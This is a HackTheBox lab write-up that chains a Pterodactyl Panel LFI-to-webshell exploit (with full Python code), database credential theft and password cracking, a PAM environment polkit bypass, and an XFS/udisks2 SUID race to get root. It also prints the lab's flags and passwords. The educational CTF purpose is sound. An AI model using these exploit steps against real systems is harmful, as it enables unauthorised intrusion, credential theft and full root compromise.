$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: HackTheBox Full Pwn machine with openSUSE Leap 15.6 and Pterodactyl Panel v1.11.10. Solution: Chain of three CVEs — LFI via pearcmd.php for RCE, PAM environment injection for polkit bypass, XFS resize race condition for SUID root shell.
HackTheBox Full Pwn machine. openSUSE Leap 15.6 с Pterodactyl Panel v1.11.10. Три CVE в цепочке: LFI → RCE → polkit bypass → race condition → root.
Target: 10.129.4.204 (HTB VPN)
OS: openSUSE Leap 15.6 (Kernel 6.4.0-150600.23.65-default, Btrfs)
Services: SSH (22), nginx (80), PHP-FPM (9000), MariaDB (3306), Redis (6379), Postfix (25)
Web: Pterodactyl Panel v1.11.10 on panel.pterodactyl.htb
Flag format: 32-char hex hashes
Hard-level machine with a chain of three 2025 CVEs. Key characteristics:
user_readenv=1 by default allows environment variable injection (CVE-2025-6018)nosuid (CVE-2025-6019)targetpw in sudoers — trap: sudo (ALL) ALL is useless without root passwordHint for privesc — email from headmonitor about "Unusual udisksd activity".
nmap -sV -sC -p- 10.129.4.204 --open -T4
| Port | Service | Details |
|---|---|---|
| 22/tcp | SSH | OpenSSH |
| 80/tcp | nginx | Two vhosts: pterodactyl.htb (static), panel.pterodactyl.htb (Pterodactyl Panel) |
Pterodactyl Panel v1.11.10 identified on panel.pterodactyl.htb.
Pterodactyl Panel v1.11.10 has unauthenticated LFI via endpoint /locales/locale.json — parameters locale and namespace allow path traversal.
Key technique: including pearcmd.php (/usr/share/php/PEAR/pearcmd.php on openSUSE) allows using PEAR config-create to write arbitrary PHP files.
Exploit rce.py (two-stage):
#!/usr/bin/env python3 """ CVE-2025-49132 — Pterodactyl Panel LFI via pearcmd.php Stage 1: Write PHP payload via pearcmd config-create to /var/tmp/ Stage 2: Include the written file via LFI to execute commands """ import requests import sys TARGET = "http://panel.pterodactyl.htb" def stage1_write_payload(): """Use pearcmd.php config-create to write PHP webshell to /var/tmp/""" # LFI to include pearcmd.php with config-create argument # pearcmd config-create writes arbitrary content to a file url = f"{TARGET}/locales/../../../../usr/share/php/PEAR/pearcmd.php" params = { # PEAR config-create <root_path> <filename> # root_path becomes the content of the config file "+config-create": "", "/<?php system($_GET['cmd']);?>": "", "/var/tmp/shell.php": "" } r = requests.get(url, params=params) return r.status_code == 200 def stage2_execute(cmd): """Include the written PHP file via LFI""" url = f"{TARGET}/locales/../../../../var/tmp/shell.php" r = requests.get(url, params={"cmd": cmd}) return r.text if __name__ == "__main__": stage1_write_payload() print(stage2_execute(sys.argv[1] if len(sys.argv) > 1 else "id"))
Result: RCE as wwwrun (uid 474, web server user on openSUSE).
Extracted information:
# Laravel .env — APP_KEY, DB credentials cat /var/www/pterodactyl/.env # → DB: pterodactyl:PteraPanel # Wings daemon config cat /etc/pterodactyl/config.yml # Users with shell grep -v nologin /etc/passwd # → root, headmonitor (uid 1001), phileasfogg3 (uid 1002)
MariaDB dump:
mysql -u pterodactyl -pPteraPanel -e "SELECT username,password FROM panel.users" # → bcrypt hashes for headmonitor and phileasfogg3
Configured SSH key for wwwrun → port forwarding to MariaDB (3306), Redis (6379), Postfix (25).
User flag accessible via RCE: /home/phileasfogg3/user.txt
8b17af63d3760785fab2da25a546f528
Cracking phileasfogg3's password:
# Save hash echo 'phileasfogg3:$2y$10$...' > hash.txt # John the Ripper with rockyou.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Password: !QAZ2wsx — keyboard walk pattern (Shift+1, Shift+2... down the left side of keyboard).
ssh [email protected] # Password: !QAZ2wsx
sudo -l # → (ALL) ALL, BUT with targetpw — requires ROOT password, not user's! # This is the default openSUSE sudoers configuration — a trap! # No SUID, no capabilities, no writable cron/systemd
Critical hint — email:
cat /var/mail/phileasfogg3 # → Email from headmonitor: # → "Unusual udisksd activity" + "apply pending updates"
This directly points to udisks2 as the privesc vector.
rpm -q udisks2 libblockdev # → udisks2 2.9.2 (with btrfs module) # → libblockdev 2.26
Vulnerability: On openSUSE Leap 15 / SUSE Linux Enterprise 15, the pam_env module reads ~/.pam_environment by default (user_readenv=1). pam_env executes BEFORE pam_systemd in the PAM stack.
Exploitation: Injecting XDG_SEAT=seat0 and XDG_VTNR=1 forces pam_systemd to assign a local seat to the SSH session → polkit grants allow_active (normally only for physical console).
# Create ~/.pam_environment echo 'XDG_SEAT OVERRIDE=seat0' > ~/.pam_environment echo 'XDG_VTNR OVERRIDE=1' >> ~/.pam_environment # Reconnect via SSH exit ssh [email protected]
Verification:
loginctl show-session $(loginctl | grep phileasfogg3 | awk '{print $1}') # → Seat=seat0 # → Active=yes
Now udisksctl loop-setup and udisksctl mount work without authentication!
Vulnerability: When calling Filesystem.Resize via D-Bus, the internal helper fs_mount() in libblockdev temporarily mounts the filesystem in /tmp/blockdev.XXXXXX WITHOUT nosuid/nodev flags. This is needed for XFS (xfs_growfs requires a mounted FS).
Important: btrfs resize was NOT supported by this version of udisks2 — XFS is the only correct choice.
# Create 300MB XFS image (minimum size for mkfs.xfs) truncate -s 300M /tmp/xfs.image /sbin/mkfs.xfs -f /tmp/xfs.image # Patch root directory — make world-writable via xfs_db /usr/sbin/xfs_db -x /tmp/xfs.image -c 'inode 128' -c 'write core.mode 040777' # Mount via udisksctl, copy bash udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction # → /dev/loop0 udisksctl mount -b /dev/loop0 --no-user-interaction # → /run/media/phileasfogg3/<UUID> # Copy bash to image cp /bin/bash /run/media/phileasfogg3/<UUID>/bash chmod 4555 /run/media/phileasfogg3/<UUID>/bash # Unmount udisksctl unmount -b /dev/loop0 --no-user-interaction
# Patch bash inode — set owner=root and SUID bit # This works WITHOUT root privileges — we're writing directly to raw image! /usr/sbin/xfs_db -x /tmp/xfs.image <<'EOF' inode 131 write core.uid 0 write core.gid 0 write core.mode 0104555 quit EOF
Why xfs_db: File transfer to the machine was extremely slow/unreliable. Creating SUID root payload entirely on target machine via raw inode metadata patching — the only reliable method.
# Kill gvfs to prevent auto-mount interference killall -KILL gvfs-udisks2-volume-monitor # Set up loop device udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction # Start race loop — will execute SUID bash when temp mount appears while true; do /tmp/blockdev*/bash -p -c 'sleep 10; id; cat /root/root.txt' 2>/dev/null && break done & # Trigger XFS resize via D-Bus — creates temp mount WITHOUT nosuid! gdbus call --system \ --dest org.freedesktop.UDisks2 \ --object-path /org/freedesktop/UDisks2/block_devices/loop0 \ --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
Error: ... Failed to unmount '/dev/loop0' after resizing it: target is busy
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
3e9f6b35b7b0189ee29c778c9b06ecf5
Resize "failed" because race loop keeps mount busy — but that's exactly what we need! SUID root bash executed with euid=0(root).
Mount verification:
/dev/loop0 on /tmp/blockdev.NJBTK3 type xfs (rw,relatime,attr2,inode64,logbufs=8,logbsize=32k,noquota)
NO nosuid flag! — vulnerability confirmed.
User: 8b17af63d3760785fab2da25a546f528
Root: 3e9f6b35b7b0189ee29c778c9b06ecf5
nmap → vhost discovery → Pterodactyl Panel v1.11.10
→ CVE-2025-49132: LFI via locale + pearcmd.php → RCE as wwwrun
→ .env leak → MariaDB dump → bcrypt hashes
→ john + rockyou → phileasfogg3:!QAZ2wsx → SSH
→ email hint: "unusual udisksd activity"
→ CVE-2025-6018: ~/.pam_environment → XDG_SEAT=seat0 → polkit allow_active
→ CVE-2025-6019: XFS image + xfs_db SUID patch → udisksctl mount
→ gdbus Filesystem.Resize → temp mount WITHOUT nosuid
→ race loop → SUID bash → euid=0 → root flag
Use this technique/chain when:
pearcmd.php available on serverpam_env with user_readenv=1 (default)allow_active accesssudo (ALL) ALL is useless — typical trap on openSUSE/var/mail/* — often contains hints for privesc vectortargetpw in openSUSE sudoers makes sudo (ALL) ALL useless without root password — common trapsleep 10 in race loop keeps mount busy long enough!QAZ2wsx) — common pattern in CTF, worth adding to custom wordlists$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar